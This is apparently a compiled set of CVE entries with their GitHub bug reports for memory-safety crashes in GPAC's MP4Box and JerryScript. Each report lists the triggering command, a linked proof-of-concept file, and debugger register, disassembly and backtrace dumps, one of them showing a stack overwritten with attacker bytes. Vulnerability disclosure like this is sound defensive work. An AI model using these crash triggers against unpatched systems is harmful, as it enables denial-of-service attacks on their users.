0x3eba00a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3eba00b0: fa fa fa fa fa fa fa fa fa fa 00[06]fa fa fd fd 0x3eba00c0: fa fa 05 fa fa fa 00 00 fa fa 00 00 fa fa 05 fa 0x3eba00d0: fa fa fd fa fa fa fd fa fa fa 00 04 fa fa fd fd 0x3eba00e0: fa fa fd fd fa fa 00 00 fa fa 00 06 fa fa 00 03 0x3eba00f0: fa fa 00 07 fa fa 00 00 fa fa fa fa fa fa fa fa 0x3eba0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==103276==ABORTING ``` Credits: Found by OWL337 team.

Heap-buffer-overflow in ecma_utf8_string_to_number_by_radix (ecma-helpers-conversion.c)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4882/comments

2021-12-09T13:20:38Z

2022-01-12T02:08:24Z

https://github.com/jerryscript-project/jerryscript/issues/4882

CVE-2021-46234

2022-01-21T21:15:08.627

A NULL pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_node_unregister () at scenegraph/base_scenegraph.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/2023

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ **Version:** ``` ./MP4Box -version MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-mp4box --enable-debug -- Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ``` **command:** ``` ./bin/gcc/MP4Box -svg POC1 ``` [POC1.zip](https://github.com/gpac/gpac/files/7801966/POC1.zip) **Result** ``` Segmentation fault ``` **bt** ``` Program received signal SIGSEGV, Segmentation fault. gf_node_unregister (pNode=0x10f9b70, parentNode=0x10fa140) at scenegraph/base_scenegraph.c:682 682 pSG = pNode->sgprivate->scenegraph; LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0x7 RCX 0x1 RDX 0x10fa140 —▸ 0x10fa290 ◂— 0x300000095 RDI 0x10f9b70 ◂— 0x0 RSI 0x10fa140 —▸ 0x10fa290 ◂— 0x300000095 R8 0x0 R9 0x0 R10 0xfffffff9 R11 0x246 R12 0xd0a2b0 (__libc_csu_fini) ◂— endbr64 R13 0x0 R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64 R15 0x0 RBP 0x7fffffff7690 —▸ 0x7fffffff76c0 —▸ 0x7fffffff76f0 —▸ 0x7fffffff7720 —▸ 0x7fffffff7740 ◂— ... RSP 0x7fffffff7650 —▸ 0x10fa140 —▸ 0x10fa290 ◂— 0x300000095 RIP 0x479467 (gf_node_unregister+66) ◂— mov rax, qword ptr [rax + 8] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x479467 <gf_node_unregister+66> mov rax, qword ptr [rax + 8] 0x47946b <gf_node_unregister+70> mov qword ptr [rbp - 0x28], rax 0x47946f <gf_node_unregister+74> cmp qword ptr [rbp - 0x40], 0 0x479474 <gf_node_unregister+79> je gf_node_unregister+284 <gf_node_unregister+284> ↓ 0x479541 <gf_node_unregister+284> cmp qword ptr [rbp - 0x28], 0 0x479546 <gf_node_unregister+289> je gf_node_unregister+320 <gf_node_unregister+320> ↓ 0x479565 <gf_node_unregister+320> mov rax, qword ptr [rbp - 0x38] 0x479569 <gf_node_unregister+324> mov rax, qword ptr [rax] 0x47956c <gf_node_unregister+327> movzx eax, word ptr [rax + 2] 0x479570 <gf_node_unregister+331> test ax, ax 0x479573 <gf_node_unregister+334> jne gf_node_unregister+367 <gf_node_unregister+367> ────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────── In file: /home/zxq/CVE_testing/source/gpac/src/scenegraph/base_scenegraph.c 677 Bool detach=0; 678 #endif 679 GF_SceneGraph *pSG; 680 681 if (!pNode) return GF_OK; ► 682 pSG = pNode->sgprivate->scenegraph; 683 684 if (parentNode) { 685 GF_ParentList *nlist = pNode->sgprivate->parents; 686 if (nlist) { 687 GF_ParentList *prev = NULL; ────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff7650 —▸ 0x10fa140 —▸ 0x10fa290 ◂— 0x300000095 01:0008│ 0x7fffffff7658 —▸ 0x10f9b70 ◂— 0x0 02:0010│ 0x7fffffff7660 ◂— 0x0 03:0018│ 0x7fffffff7668 —▸ 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64 04:0020│ 0x7fffffff7670 ◂— 0x0 05:0028│ 0x7fffffff7678 —▸ 0x450b75 (gf_free+28) ◂— nop 06:0030│ 0x7fffffff7680 ◂— 0x5 07:0038│ 0x7fffffff7688 ◂— 0x5789c1222d7c1900 ──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x479467 gf_node_unregister+66 f 1 0x47ad0f gf_node_unregister_children+45 f 2 0x4ea690 gf_sg_vrml_parent_destroy+70 f 3 0x4c4593 SBBone_Del+318 f 4 0x4dbb98 gf_sg_mpeg4_node_del+2586 f 5 0x47bfe4 gf_node_del+461 f 6 0x4797a6 gf_node_unregister+897 f 7 0x566822 gf_bifs_dec_node+1888 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 gf_node_unregister (pNode=0x10f9b70, parentNode=0x10fa140) at scenegraph/base_scenegraph.c:682 #1 0x000000000047ad0f in gf_node_unregister_children (container=0x10fa140, child=0x10fa320) at scenegraph/base_scenegraph.c:1369 #2 0x00000000004ea690 in gf_sg_vrml_parent_destroy (pNode=0x10fa140) at scenegraph/vrml_tools.c:162 #3 0x00000000004c4593 in SBBone_Del (node=0x10fa140) at scenegraph/mpeg4_nodes.c:27956 #4 0x00000000004dbb98 in gf_sg_mpeg4_node_del (node=0x10fa140) at scenegraph/mpeg4_nodes.c:37958 #5 0x000000000047bfe4 in gf_node_del (node=0x10fa140) at scenegraph/base_scenegraph.c:1902 #6 0x00000000004797a6 in gf_node_unregister (pNode=0x10fa140, parentNode=0x0) at scenegraph/base_scenegraph.c:761 #7 0x0000000000566822 in gf_bifs_dec_node (codec=0x10f70b0, bs=0x10e4c30, NDT_Tag=1) at bifs/field_decode.c:912 #8 0x000000000055c98c in gf_bifs_dec_proto_list (codec=0x10f70b0, bs=0x10e4c30, proto_list=0x0) at bifs/com_dec.c:1132 #9 0x000000000055c94f in gf_bifs_dec_proto_list (codec=0x10f70b0, bs=0x10e4c30, proto_list=0x10f9600) at bifs/com_dec.c:1125 #10 0x000000000055d37f in BD_DecSceneReplace (codec=0x10f70b0, bs=0x10e4c30, proto_list=0x10f9600) at bifs/com_dec.c:1332 #11 0x000000000056c8d2 in BM_SceneReplace (codec=0x10f70b0, bs=0x10e4c30, com_list=0x10f7430) at bifs/memory_decoder.c:860 #12 0x000000000056cb53 in BM_ParseCommand (codec=0x10f70b0, bs=0x10e4c30, com_list=0x10f7430) at bifs/memory_decoder.c:908 #13 0x000000000056cffd in gf_bifs_decode_command_list (codec=0x10f70b0, ESID=8, data=0x10f74b0 '\320' <repeats 191 times>, <incomplete sequence \372>, data_length=8208, com_list=0x10f7430) at bifs/memory_decoder.c:1009 #14 0x00000000006be1da in gf_sm_load_run_isom (load=0x7fffffff88a0) at scene_manager/loader_isom.c:303 #15 0x00000000006a214a in gf_sm_load_run (load=0x7fffffff88a0) at scene_manager/scene_manager.c:719 #16 0x000000000041786e in dump_isom_scene (file=0x7fffffffe60f "gf_node_unregister-gf_node_unregister_children/id:000515,sig:11,src:007933+012329,op:splice,rep:16", inName=0x10da460 <outfile> "gf_node_unregister-gf_node_unregister_children/id:000515,sig:11,src:007933+012329,op:splice,rep:16", is_final_name=GF_FALSE, dump_mode=GF_SM_DUMP_SVG, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:199 #17 0x000000000041521f in mp4boxMain (argc=3, argv=0x7fffffffe328) at main.c:6044 #18 0x000000000041719b in main (argc=3, argv=0x7fffffffe328) at main.c:6496 #19 0x0000000000d09a40 in __libc_start_main () #20 0x000000000040211e in _start () ```

Null Pointer Dereference in gf_node_unregister () at scenegraph/base_scenegraph.c:682

https://api.github.com/repos/gpac/gpac/issues/2023/comments

2022-01-03T12:52:03Z

2022-01-04T09:53:09Z

https://github.com/gpac/gpac/issues/2023

CVE-2021-46236

2022-01-21T21:15:08.667

A NULL pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_sg_vrml_field_pointer_del () at scenegraph/vrml_tools.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/2024

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ **Version:** ``` ./MP4Box -version MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-mp4box --enable-debug -- Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ``` **command:** ``` ./bin/gcc/MP4Box -svg POC2 ``` [POC2.zip](https://github.com/gpac/gpac/files/7801986/POC2.zip) **Result** ``` Segmentation fault ``` **bt** ``` Program received signal SIGSEGV, Segmentation fault. 0x00000000004eb82b in gf_sg_vrml_field_pointer_del (field=0x0, FieldType=50) at scenegraph/vrml_tools.c:667 667 gf_sg_mfdouble_del( * ((MFDouble *) field)); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0x400788 ◂— 0x0 RCX 0x0 RDX 0xe03e5c ◂— 0xff6e7b77ff6e7b77 RDI 0x0 RSI 0x32 R8 0x7 R9 0x0 R10 0xffffffd8 R11 0x246 R12 0xd0a2b0 (__libc_csu_fini) ◂— endbr64 R13 0x0 R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64 R15 0x0 RBP 0x7fffffff8610 —▸ 0x7fffffff8660 —▸ 0x7fffffff86b0 —▸ 0x7fffffff8700 —▸ 0x7fffffff8740 ◂— ... RSP 0x7fffffff85f0 ◂— 0x3200000000 RIP 0x4eb82b (gf_sg_vrml_field_pointer_del+254) ◂— mov edx, dword ptr [rax] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x4eb82b <gf_sg_vrml_field_pointer_del+254> mov edx, dword ptr [rax] 0x4eb82d <gf_sg_vrml_field_pointer_del+256> mov rax, qword ptr [rax + 8] 0x4eb831 <gf_sg_vrml_field_pointer_del+260> mov edi, edx 0x4eb833 <gf_sg_vrml_field_pointer_del+262> mov rsi, rax 0x4eb836 <gf_sg_vrml_field_pointer_del+265> call gf_sg_mfdouble_del <gf_sg_mfdouble_del> 0x4eb83b <gf_sg_vrml_field_pointer_del+270> jmp gf_sg_vrml_field_pointer_del+682 <gf_sg_vrml_field_pointer_del+682> 0x4eb840 <gf_sg_vrml_field_pointer_del+275> mov rax, qword ptr [rbp - 0x18] 0x4eb844 <gf_sg_vrml_field_pointer_del+279> mov edx, dword ptr [rax] 0x4eb846 <gf_sg_vrml_field_pointer_del+281> mov rax, qword ptr [rax + 8] 0x4eb84a <gf_sg_vrml_field_pointer_del+285> mov edi, edx 0x4eb84c <gf_sg_vrml_field_pointer_del+287> mov rsi, rax ────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────── In file: /home/zxq/CVE_testing/source/gpac/src/scenegraph/vrml_tools.c 662 break; 663 case GF_SG_VRML_MFFLOAT: 664 gf_sg_mffloat_del( * ((MFFloat *) field)); 665 break; 666 case GF_SG_VRML_MFDOUBLE: ► 667 gf_sg_mfdouble_del( * ((MFDouble *) field)); 668 break; 669 case GF_SG_VRML_MFTIME: 670 gf_sg_mftime_del( * ((MFTime *)field)); 671 break; 672 case GF_SG_VRML_MFINT32: ────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff85f0 ◂— 0x3200000000 01:0008│ 0x7fffffff85f8 ◂— 0x0 02:0010│ 0x7fffffff8600 —▸ 0x10ecd40 ◂— 0x0 03:0018│ 0x7fffffff8608 —▸ 0x10fa7d0 —▸ 0x10fae00 ◂— 0x0 04:0020│ rbp 0x7fffffff8610 —▸ 0x7fffffff8660 —▸ 0x7fffffff86b0 —▸ 0x7fffffff8700 —▸ 0x7fffffff8740 ◂— ... 05:0028│ 0x7fffffff8618 —▸ 0x4e6a10 (gf_sg_proto_del_instance+120) ◂— jmp 0x4e6a8f 06:0030│ 0x7fffffff8620 ◂— 0x0 07:0038│ 0x7fffffff8628 —▸ 0x10fa720 —▸ 0x10fa770 ◂— 0x100000001 ──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x4eb82b gf_sg_vrml_field_pointer_del+254 f 1 0x4e6a10 gf_sg_proto_del_instance+120 f 2 0x47bfc6 gf_node_del+431 f 3 0x4797a6 gf_node_unregister+897 f 4 0x4e4916 gf_sg_proto_del+193 f 5 0x47db5d gf_sg_command_del+675 f 6 0x6a0b93 gf_sm_au_del+122 f 7 0x6a0c24 gf_sm_reset_stream+73 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 0x00000000004eb82b in gf_sg_vrml_field_pointer_del (field=0x0, FieldType=50) at scenegraph/vrml_tools.c:667 #1 0x00000000004e6a10 in gf_sg_proto_del_instance (inst=0x10fa720) at scenegraph/vrml_proto.c:846 #2 0x000000000047bfc6 in gf_node_del (node=0x10fa720) at scenegraph/base_scenegraph.c:1899 #3 0x00000000004797a6 in gf_node_unregister (pNode=0x10fa720, parentNode=0x0) at scenegraph/base_scenegraph.c:761 #4 0x00000000004e4916 in gf_sg_proto_del (proto=0x10f9d60) at scenegraph/vrml_proto.c:117 #5 0x000000000047db5d in gf_sg_command_del (com=0x10f9c80) at scenegraph/commands.c:113 #6 0x00000000006a0b93 in gf_sm_au_del (sc=0x10f7ac0, au=0x10f9bd0) at scene_manager/scene_manager.c:113 #7 0x00000000006a0c24 in gf_sm_reset_stream (sc=0x10f7ac0) at scene_manager/scene_manager.c:126 #8 0x00000000006a0c58 in gf_sm_delete_stream (sc=0x10f7ac0) at scene_manager/scene_manager.c:133 #9 0x00000000006a0d03 in gf_sm_del (ctx=0x10ed170) at scene_manager/scene_manager.c:147 #10 0x000000000041797b in dump_isom_scene (file=0x7fffffffe637 "gf_sg_vrml_field_pointer_del-gf_sg_proto_del_instance/POC2", inName=0x10da460 <outfile> "gf_sg_vrml_field_pointer_del-gf_sg_proto_del_instance/POC2", is_final_name=GF_FALSE, dump_mode=GF_SM_DUMP_SVG, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:216 #11 0x000000000041521f in mp4boxMain (argc=3, argv=0x7fffffffe358) at main.c:6044 #12 0x000000000041719b in main (argc=3, argv=0x7fffffffe358) at main.c:6496 #13 0x0000000000d09a40 in __libc_start_main () #14 0x000000000040211e in _start () pwndbg> ```

Null Pointer Dereference in gf_sg_vrml_field_pointer_del () at scenegraph/vrml_tools.c:667

https://api.github.com/repos/gpac/gpac/issues/2024/comments

2022-01-03T12:56:20Z

2022-01-04T10:19:41Z

https://github.com/gpac/gpac/issues/2024

CVE-2021-46237

2022-01-21T21:15:08.713

An untrusted pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_node_unregister () at scenegraph/base_scenegraph.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/2033

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ **Version:** ``` ./MP4Box -version MP4Box - GPAC version 1.1.0-DEV-rev1593-g786b21cdb-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-mp4box --enable-debug --prefix=/home/zxq/CVE_testing/source/gpac/cmakebuild Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ``` **command:** ``` ./bin/gcc/MP4Box -svg POC2 ``` [POC2.zip](https://github.com/gpac/gpac/files/7813634/POC2.zip) [POC2.zip](https://github.com/gpac/gpac/files/7813631/POC2.zip) **Result** ``` Segmentation fault. ``` **bt** ``` Program received signal SIGSEGV, Segmentation fault. 0x0000000000479ab6 in gf_node_unregister (pNode=0x10fc910, parentNode=0x0) at scenegraph/base_scenegraph.c:710 710 if (pSG && (pNode == (GF_Node*)pSG->pOwningProto)) pSG = pSG->parent_scene; LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x21 RBX 0x10ee520 ◂— 0x0 RCX 0x10fc910 —▸ 0x10fc9c0 ◂— 0x0 RDX 0x0 RDI 0x10fc910 —▸ 0x10fc9c0 ◂— 0x0 RSI 0x0 R8 0x4 R9 0x0 R10 0x10cdfa0 (main_arena+96) —▸ 0x10fcab0 ◂— 0x0 R11 0x10cdfa0 (main_arena+96) —▸ 0x10fcab0 ◂— 0x0 R12 0xd0bad0 (__libc_csu_fini) ◂— endbr64 R13 0x0 R14 0x10a8018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd825d0 (__memmove_avx_unaligned_erms) ◂— endbr64 R15 0x0 RBP 0x7fffffff7ff0 —▸ 0x7fffffff8030 —▸ 0x7fffffff80d0 —▸ 0x7fffffff80f0 —▸ 0x7fffffff8130 ◂— ... RSP 0x7fffffff7fb0 ◂— 0x0 RIP 0x479ab6 (gf_node_unregister+295) ◂— mov rax, qword ptr [rax + 0xf0] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x479ab6 <gf_node_unregister+295> mov rax, qword ptr [rax + 0xf0] 0x479abd <gf_node_unregister+302> cmp qword ptr [rbp - 0x38], rax 0x479ac1 <gf_node_unregister+306> jne gf_node_unregister+320 <gf_node_unregister+320> ↓ 0x479acf <gf_node_unregister+320> mov rax, qword ptr [rbp - 0x38] 0x479ad3 <gf_node_unregister+324> mov rax, qword ptr [rax] 0x479ad6 <gf_node_unregister+327> movzx eax, word ptr [rax + 2] 0x479ada <gf_node_unregister+331> test ax, ax 0x479add <gf_node_unregister+334> jne gf_node_unregister+367 <gf_node_unregister+367> ↓ 0x479afe <gf_node_unregister+367> mov rax, qword ptr [rbp - 0x38] 0x479b02 <gf_node_unregister+371> mov rax, qword ptr [rax] 0x479b05 <gf_node_unregister+374> movzx edx, word ptr [rax + 2] ```

Untrusted pointer dereference in gf_node_unregister () at scenegraph/base_scenegraph.c:710

https://api.github.com/repos/gpac/gpac/issues/2033/comments

2022-01-05T09:17:46Z

2022-01-05T10:26:12Z

https://github.com/gpac/gpac/issues/2033

CVE-2021-46238

2022-01-21T21:15:08.753

GPAC v1.1.0 was discovered to contain a stack overflow via the function gf_node_get_name () at scenegraph/base_scenegraph.c. This vulnerability can lead to a program crash, causing a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/2027

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ **Version:** ``` ./MP4Box -version MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io MINI build (encoders, decoders, audio and video output disabled) Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --static-mp4box --enable-debug -- Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D ``` **command:** ``` ./bin/gcc/MP4Box -disox -ttxt -2 -dump-chap-ogg -dump-cover -drtp -bt -out /dev/null POC2 ``` [POC2.zip](https://github.com/gpac/gpac/files/7802132/POC2.zip) **Result** ``` Segmentation fault. ``` **bt** ``` Program received signal SIGSEGV, Segmentation fault. 0x000000000047aa77 in gf_node_get_name (p=0x4747474747474747) at scenegraph/base_scenegraph.c:1293 1293 if (!p || !(p->sgprivate->flags & GF_NODE_IS_DEF)) return NULL; LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x4747474747474747 ('GGGGGGGG') RBX 0x400788 ◂— 0x0 RCX 0x474747 (gf_xml_parse_bit_sequence_bs+486) ◂— sti RDX 0x7 RDI 0x4747474747474747 ('GGGGGGGG') RSI 0x10fd740 ◂— 0x47474747474747 /* 'GGGGGGG' */ R8 0x10fc550 —▸ 0x10fce00 —▸ 0x10eccb0 ◂— 0x0 R9 0x2 R10 0x0 R11 0x0 R12 0xd0a2b0 (__libc_csu_fini) ◂— endbr64 R13 0x0 R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64 R15 0x0 RBP 0x7fffffff8100 —▸ 0x7fffffff85d0 ◂— 0x4747474747474747 ('GGGGGGGG') RSP 0x7fffffff8100 —▸ 0x7fffffff85d0 ◂— 0x4747474747474747 ('GGGGGGGG') RIP 0x47aa77 (gf_node_get_name+23) ◂— mov rax, qword ptr [rax] ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x47aa77 <gf_node_get_name+23> mov rax, qword ptr [rax] 0x47aa7a <gf_node_get_name+26> mov eax, dword ptr [rax + 4] 0x47aa7d <gf_node_get_name+29> test eax, eax 0x47aa7f <gf_node_get_name+31> js gf_node_get_name+40 <gf_node_get_name+40> ↓ 0x47aa88 <gf_node_get_name+40> mov rax, qword ptr [rbp - 0x18] 0x47aa8c <gf_node_get_name+44> mov rax, qword ptr [rax] 0x47aa8f <gf_node_get_name+47> mov rax, qword ptr [rax + 8] 0x47aa93 <gf_node_get_name+51> mov qword ptr [rbp - 0x10], rax 0x47aa97 <gf_node_get_name+55> mov rax, qword ptr [rbp - 0x10] 0x47aa9b <gf_node_get_name+59> mov rax, qword ptr [rax + 0xf0] 0x47aaa2 <gf_node_get_name+66> cmp qword ptr [rbp - 0x18], rax ────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────── In file: /home/zxq/CVE_testing/source/gpac/src/scenegraph/base_scenegraph.c 1288 GF_EXPORT 1289 const char *gf_node_get_name(GF_Node*p) 1290 { 1291 GF_SceneGraph *sg; 1292 NodeIDedItem *reg_node; ► 1293 if (!p || !(p->sgprivate->flags & GF_NODE_IS_DEF)) return NULL; 1294 1295 sg = p->sgprivate->scenegraph; 1296 #ifndef GPAC_DISABLE_VRML 1297 /*if this is a proto, look in parent graph*/ 1298 if (p == (GF_Node*)sg->pOwningProto) sg = sg->parent_scene; ────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rbp rsp 0x7fffffff8100 —▸ 0x7fffffff85d0 ◂— 0x4747474747474747 ('GGGGGGGG') 01:0008│ 0x7fffffff8108 —▸ 0x6e1eee (gf_dump_vrml_route+415) ◂— mov qword ptr [rbp - 0x488], rax 02:0010│ 0x7fffffff8110 —▸ 0x10f9bc0 ◂— 0x333 03:0018│ 0x7fffffff8118 ◂— 0x10 04:0020│ 0x7fffffff8120 —▸ 0x7fffffff8610 ◂— 0x4747474747474747 ('GGGGGGGG') 05:0028│ 0x7fffffff8128 —▸ 0x10f75f0 —▸ 0x10eccb0 ◂— 0x0 06:0030│ 0x7fffffff8130 —▸ 0xdba6f0 (funlockfile) ◂— endbr64 07:0038│ 0x7fffffff8138 ◂— 0x1 ──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x47aa77 gf_node_get_name+23 f 1 0x6e1eee gf_dump_vrml_route+415 f 2 0x4747474747474747 f 3 0x4747474747474747 f 4 0x4747474747474747 f 5 0x4747474747474747 f 6 0x4747474747474747 f 7 0x4747474747474747 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 0x000000000047aa77 in gf_node_get_name (p=0x4747474747474747) at scenegraph/base_scenegraph.c:1293 #1 0x00000000006e1eee in gf_dump_vrml_route (sdump=0x10f75f0, r=0x7fffffff8610, dump_type=0) at scene_manager/scene_dump.c:2344 #2 0x4747474747474747 in ?? () #3 0x4747474747474747 in ?? () #4 0x4747474747474747 in ?? () #5 0x4747474747474747 in ?? () #6 0x4747474747474747 in ?? () #7 0x4747474747474747 in ?? () #8 0x4747474747474747 in ?? () #9 0x4747474747474747 in ?? () #10 0x4747474747474747 in ?? () #11 0x4747474747474747 in ?? () #12 0x4747474747474747 in ?? () #13 0x4747474747474747 in ?? () #14 0x4747474747474747 in ?? () #15 0x4747474747474747 in ?? () #16 0x4747474747474747 in ?? () #17 0x4747474747474747 in ?? () #18 0x4747474747474747 in ?? () #19 0x4747474747474747 in ?? () #20 0x4747474747474747 in ?? () #21 0x4747474747474747 in ?? () #22 0x4747474747474747 in ?? () #23 0x4747474747474747 in ?? () #24 0x4747474747474747 in ?? () #25 0x4747474747474747 in ?? () #26 0x4747474747474747 in ?? () #27 0x4747474747474747 in ?? () #28 